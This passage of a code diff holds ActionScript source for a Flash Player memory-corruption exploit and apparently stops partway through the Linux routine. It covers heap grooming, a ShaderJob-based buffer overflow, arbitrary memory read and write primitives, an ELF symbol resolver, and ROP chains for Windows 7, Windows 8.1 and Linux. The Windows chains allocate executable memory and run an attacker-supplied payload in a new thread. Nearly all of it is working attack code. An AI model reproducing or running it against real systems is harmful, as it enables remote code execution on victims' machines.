public var sec_got_plt:uint = 0
|
||||||
|
|
||||||
|
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||||
|
{
|
||||||
|
e_ba = ba
|
||||||
|
set_base(addr)
|
||||||
|
set_program_header()
|
||||||
|
set_program_header_size()
|
||||||
|
set_program_header_entry_size()
|
||||||
|
set_dynamic_segment()
|
||||||
|
set_exec_segment()
|
||||||
|
set_dynsym()
|
||||||
|
set_dynstr()
|
||||||
|
set_got_plt()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function external_symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
var got_plt_index:uint = 0
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||||
|
}
|
||||||
|
if (st_info != 0x11) {
|
||||||
|
got_plt_index++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return base + st_value
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint):uint
|
||||||
|
{
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
var contents:uint = 0
|
||||||
|
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||||
|
contents = e_ba.read(seg_exec + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_base(addr:uint):void
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (e_ba.read(addr) == 0x464c457f) {
|
||||||
|
base = addr
|
||||||
|
return
|
||||||
|
}
|
||||||
|
addr -= 0x1000
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header():void
|
||||||
|
{
|
||||||
|
ph = base + e_ba.read(base + 0x1c)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_size():void
|
||||||
|
{
|
||||||
|
ph_size = e_ba.read(base + 0x2c, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_entry_size():void
|
||||||
|
{
|
||||||
|
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynamic_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
if (p_type == PT_DYNAMIC) {
|
||||||
|
seg_dynamic = base + e_ba.read(entry + 8)
|
||||||
|
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_exec_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
var p_flags:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
p_flags = e_ba.read(entry + 0x18)
|
||||||
|
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||||
|
seg_exec = base + e_ba.read(entry + 8)
|
||||||
|
seg_exec_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynsym():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_SYMTAB) {
|
||||||
|
sec_dynsym = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynstr():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_STRTAB) {
|
||||||
|
sec_dynstr = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_got_plt():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_PLTGOT) {
|
||||||
|
sec_got_plt = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,102 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.display.BitmapData
|
||||||
|
import flash.display.Shader
|
||||||
|
import flash.display.ShaderJob
|
||||||
|
import flash.display.Sprite
|
||||||
|
import flash.utils.getTimer
|
||||||
|
import flash.display.LoaderInfo
|
||||||
|
import mx.utils.Base64Decoder
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
|
||||||
|
public class Exploit extends Sprite
|
||||||
|
{
|
||||||
|
[Embed ( source="exploit.pbj", mimeType="application/octet-stream" ) ]
|
||||||
|
private static var BilinearScaling:Class
|
||||||
|
private var ov:Vector.<Object>
|
||||||
|
private var uv:Vector.<uint>
|
||||||
|
|
||||||
|
private var b64:Base64Decoder = new Base64Decoder()
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
private var os:String
|
||||||
|
private var exploiter:Exploiter
|
||||||
|
|
||||||
|
public function Exploit()
|
||||||
|
{
|
||||||
|
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||||
|
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
||||||
|
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||||
|
var pattern:RegExp = / /g;
|
||||||
|
b64_payload = b64_payload.replace(pattern, "+")
|
||||||
|
b64.decode(b64_payload)
|
||||||
|
payload = b64.toByteArray()
|
||||||
|
|
||||||
|
var srcBmd:BitmapData = new BitmapData(0x93, 1, true, 0x40000000);
|
||||||
|
|
||||||
|
// Create and configure a Shader object to apply the the bilinear scaling bytecode
|
||||||
|
var shader:Shader = new Shader()
|
||||||
|
shader.byteCode = new BilinearScaling()
|
||||||
|
shader.data.scale.value = [1]
|
||||||
|
shader.data.src.input = srcBmd
|
||||||
|
|
||||||
|
// Put vectors in memory
|
||||||
|
ov = new Vector.<Object>(1024)
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ov.length; i++) {
|
||||||
|
ov[i] = new Vector.<uint>(0xa6)
|
||||||
|
ov[i][0] = 0xdeedbeef
|
||||||
|
ov[i][1] = i
|
||||||
|
ov[i][2] = 0xdeadbeaf
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create holes by redimensioning some vectors
|
||||||
|
for (i = ov.length / 2; i < ov.length; i = i + 6) {
|
||||||
|
ov[i].length = 0x14c // 0xa6 * 2
|
||||||
|
}
|
||||||
|
|
||||||
|
// Defragment memory so hopefully one of our holes will be used
|
||||||
|
// by the ShaderJob later...
|
||||||
|
var defrag:Vector.<Object> = new Vector.<Object>(20)
|
||||||
|
for(i = 0; i < defrag.length; i++) {
|
||||||
|
defrag[i] = new Vector.<uint>(0xa6)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Apply the bilinear scaling with a ShaderJob, so the job
|
||||||
|
// can be execued on a new thread, providing us the opportunity
|
||||||
|
// to tweak the width attribute after starting the job, providing
|
||||||
|
// a buffer overflow situation
|
||||||
|
var shaderJob:ShaderJob = new ShaderJob()
|
||||||
|
shaderJob.shader = shader
|
||||||
|
shaderJob.target = srcBmd
|
||||||
|
shaderJob.width = 0
|
||||||
|
shaderJob.start()
|
||||||
|
shaderJob.width = 0xa5 // Overwrite "next" vector length
|
||||||
|
this.WaitTimer(1000)
|
||||||
|
|
||||||
|
for (i = 0; i < ov.length; i++) {
|
||||||
|
if (ov[i].length != 0xa6 && ov[i].length != 0x14c) {
|
||||||
|
Logger.log("[*] Exploit - Exploit(): Vector corrupted: " + i.toString() + " : " + ov[i].length.toString())
|
||||||
|
uv = ov[i]
|
||||||
|
} else {
|
||||||
|
delete(ov[i])
|
||||||
|
ov[i] = null
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (uv == null) {
|
||||||
|
Logger.log("[!] Exploit - Exploit(): Corrupted Vector not found")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
exploiter = new Exploiter(this, platform, os, payload, uv)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function WaitTimer(time:int):void{
|
||||||
|
var current:int = getTimer()
|
||||||
|
while (true) {
|
||||||
|
if ((getTimer() - current) >= time) break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,85 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
|
||||||
|
public class ExploitByteArray
|
||||||
|
{
|
||||||
|
private const MAX_STRING_LENGTH:uint = 100
|
||||||
|
public var ba:ByteArray
|
||||||
|
public var original_length:uint
|
||||||
|
private var platform:String
|
||||||
|
|
||||||
|
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||||
|
{
|
||||||
|
ba = new ByteArray()
|
||||||
|
ba.length = l
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
ba.writeUnsignedInt(0)
|
||||||
|
platform = p
|
||||||
|
original_length = l
|
||||||
|
}
|
||||||
|
|
||||||
|
public function set_length(length:uint):void
|
||||||
|
{
|
||||||
|
ba.length = length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function get_length():uint
|
||||||
|
{
|
||||||
|
return ba.length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function lets_ready():void
|
||||||
|
{
|
||||||
|
ba.endian = "littleEndian"
|
||||||
|
if (platform == "linux") {
|
||||||
|
ba.length = 0xffffffff
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (ba.length == 0xffffffff)
|
||||||
|
return true
|
||||||
|
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint, type:String = "dword"):uint
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
switch(type) {
|
||||||
|
case "dword":
|
||||||
|
return ba.readUnsignedInt()
|
||||||
|
case "word":
|
||||||
|
return ba.readUnsignedShort()
|
||||||
|
case "byte":
|
||||||
|
return ba.readUnsignedByte()
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read_string(addr:uint, length:uint = 0):String
|
||||||
|
{
|
||||||
|
ba.position = addr
|
||||||
|
if (length == 0)
|
||||||
|
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||||
|
else
|
||||||
|
return ba.readUTFBytes(length)
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||||
|
{
|
||||||
|
var i:uint
|
||||||
|
|
||||||
|
if (addr) ba.position = addr
|
||||||
|
if (value is String) {
|
||||||
|
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||||
|
if (zero) ba.writeByte(0)
|
||||||
|
} else if (value is ByteArray) {
|
||||||
|
var value_length:uint = value.length
|
||||||
|
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
|
||||||
|
} else ba.writeUnsignedInt(value)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,74 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class ExploitVector
|
||||||
|
{
|
||||||
|
private var uv:Vector.<uint>
|
||||||
|
public var original_length:uint = 0xa6
|
||||||
|
|
||||||
|
public function ExploitVector(v:Vector.<uint>)
|
||||||
|
{
|
||||||
|
uv = v
|
||||||
|
}
|
||||||
|
|
||||||
|
public function restore():void
|
||||||
|
{
|
||||||
|
uv[0x3ffffffe] = original_length
|
||||||
|
}
|
||||||
|
|
||||||
|
public function is_ready():Boolean
|
||||||
|
{
|
||||||
|
if (uv.length > original_length)
|
||||||
|
{
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
|
||||||
|
public function at(pos:uint):uint
|
||||||
|
{
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
// pos: position where a Vector.<Object>[0] lives
|
||||||
|
public function set_own_address(pos:uint):void
|
||||||
|
{
|
||||||
|
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||||
|
}
|
||||||
|
|
||||||
|
public function read(addr:uint):uint
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
return uv[pos]
|
||||||
|
}
|
||||||
|
|
||||||
|
public function write(addr:uint, value:uint = 0):void
|
||||||
|
{
|
||||||
|
var pos:uint = 0
|
||||||
|
|
||||||
|
if (addr > uv[0]) {
|
||||||
|
pos = ((addr - uv[0]) / 4) - 2
|
||||||
|
} else {
|
||||||
|
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||||
|
}
|
||||||
|
|
||||||
|
uv[pos] = value
|
||||||
|
}
|
||||||
|
|
||||||
|
public function search_pattern(pattern:uint, limit:uint):uint
|
||||||
|
{
|
||||||
|
for (var i:uint = 0; i < limit/4; i++) {
|
||||||
|
if (uv[i] == pattern) {
|
||||||
|
return i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,399 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import flash.system.System
|
||||||
|
|
||||||
|
public class Exploiter
|
||||||
|
{
|
||||||
|
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||||
|
private var exploit:Exploit
|
||||||
|
private var ev:ExploitVector
|
||||||
|
private var eba:ExploitByteArray
|
||||||
|
private var payload:ByteArray
|
||||||
|
private var platform:String
|
||||||
|
private var op_system:String
|
||||||
|
private var pos:uint
|
||||||
|
private var byte_array_object:uint
|
||||||
|
private var main:uint
|
||||||
|
private var stack_object:uint
|
||||||
|
private var payload_space_object:uint
|
||||||
|
private var buffer_object:uint
|
||||||
|
private var buffer:uint
|
||||||
|
private var vtable:uint
|
||||||
|
private var stack_address:uint
|
||||||
|
private var payload_address:uint
|
||||||
|
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||||
|
private var spray:Vector.<Object> = new Vector.<Object>(90000)
|
||||||
|
|
||||||
|
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
|
||||||
|
{
|
||||||
|
exploit = exp
|
||||||
|
payload = p
|
||||||
|
platform = pl
|
||||||
|
op_system = os
|
||||||
|
|
||||||
|
ev = new ExploitVector(uv)
|
||||||
|
if (!ev.is_ready()) return
|
||||||
|
eba = new ExploitByteArray(platform)
|
||||||
|
spray_objects()
|
||||||
|
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||||
|
ev.set_own_address(pos)
|
||||||
|
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||||
|
disclose_addresses()
|
||||||
|
corrupt_byte_array()
|
||||||
|
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||||
|
do_rop()
|
||||||
|
restore_byte_array()
|
||||||
|
ev.restore()
|
||||||
|
cleanup()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function spray_objects():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - spray_objects()")
|
||||||
|
for (var i:uint = 0; i < spray.length; i++)
|
||||||
|
{
|
||||||
|
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||||
|
spray[i][0] = eba.ba
|
||||||
|
spray[i][1] = exploit
|
||||||
|
spray[i][2] = stack
|
||||||
|
spray[i][3] = payload_space
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function search_objects():uint
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - search_objects()")
|
||||||
|
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
|
||||||
|
return idx + 1
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_objects():Boolean
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_objects()")
|
||||||
|
byte_array_object = ev.at(pos) - 1
|
||||||
|
main = ev.at(pos + 1) - 1
|
||||||
|
stack_object = ev.at(pos + 2) - 1
|
||||||
|
payload_space_object = ev.at(pos + 3) - 1
|
||||||
|
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
private function disclose_addresses():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x10)
|
||||||
|
buffer = ev.read(buffer_object + 0x1c)
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
buffer_object = ev.read(byte_array_object + 0x40)
|
||||||
|
buffer = ev.read(buffer_object + 8)
|
||||||
|
}
|
||||||
|
vtable = ev.read(main)
|
||||||
|
stack_address = ev.read(stack_object + 0x18)
|
||||||
|
payload_address = ev.read(payload_space_object + 0x18)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function corrupt_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8) // *array
|
||||||
|
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||||
|
}
|
||||||
|
eba.lets_ready()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function restore_byte_array():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||||
|
if (platform == "linux")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||||
|
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||||
|
}
|
||||||
|
else if (platform == "win")
|
||||||
|
{
|
||||||
|
ev.write(buffer_object + 8, buffer) // *array
|
||||||
|
ev.write(buffer_object + 16, 1024) // capacity
|
||||||
|
}
|
||||||
|
eba.set_length(eba.original_length)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop()")
|
||||||
|
if (platform == "linux") {
|
||||||
|
do_rop_linux()
|
||||||
|
} else if (platform == "win") {
|
||||||
|
if (op_system == "Windows 8.1") {
|
||||||
|
do_rop_windows8()
|
||||||
|
} else if (op_system == "Windows 7") {
|
||||||
|
do_rop_windows()
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernel32)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7f6e0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
exploit.toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_windows8():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_windows8()")
|
||||||
|
var pe:PE = new PE(eba)
|
||||||
|
var flash:uint = pe.base(vtable)
|
||||||
|
var winmm:uint = pe.module("winmm.dll", flash)
|
||||||
|
var advapi32:uint = pe.module("advapi32.dll", flash)
|
||||||
|
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
|
||||||
|
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||||
|
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||||
|
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
|
||||||
|
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
|
||||||
|
var createthread:uint = pe.procedure("CreateThread", kernelbase)
|
||||||
|
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||||
|
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||||
|
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||||
|
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||||
|
|
||||||
|
// Continuation of execution
|
||||||
|
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||||
|
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||||
|
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||||
|
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||||
|
|
||||||
|
// Put the payload (command) in memory
|
||||||
|
eba.write(payload_address + 8, payload, true); // payload
|
||||||
|
|
||||||
|
// Put the fake vtabe / stack on memory
|
||||||
|
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||||
|
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||||
|
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||||
|
eba.write(0, virtualprotect)
|
||||||
|
|
||||||
|
// VirtualProtect
|
||||||
|
eba.write(0, virtualalloc)
|
||||||
|
eba.write(0, buffer + 0x10)
|
||||||
|
eba.write(0, 0x1000)
|
||||||
|
eba.write(0, 0x40)
|
||||||
|
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||||
|
|
||||||
|
// VirtualAlloc
|
||||||
|
eba.write(0, memcpy)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0x4000)
|
||||||
|
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||||
|
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||||
|
|
||||||
|
// memcpy
|
||||||
|
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, payload_address + 8)
|
||||||
|
eba.write(0, payload.length)
|
||||||
|
|
||||||
|
// CreateThread
|
||||||
|
eba.write(0, createthread)
|
||||||
|
eba.write(0, buffer + 0x10) // return to fix things
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0x7ffd0000)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
eba.write(0, 0)
|
||||||
|
|
||||||
|
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||||
|
exploit.toString() // call method in the fake vtable
|
||||||
|
}
|
||||||
|
|
||||||
|
private function do_rop_linux():void
|
||||||
|
{
|
||||||
|
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||||
|
var flash:Elf = new Elf(eba, vtable)
|
||||||
|
var feof:uint = flash.external_symbol('feof')
|
||||||
|
var libc:Elf = new Elf(eba, feof)
|
||||||
|
var popen:uint = libc.symbol("popen")
|
||||||
|
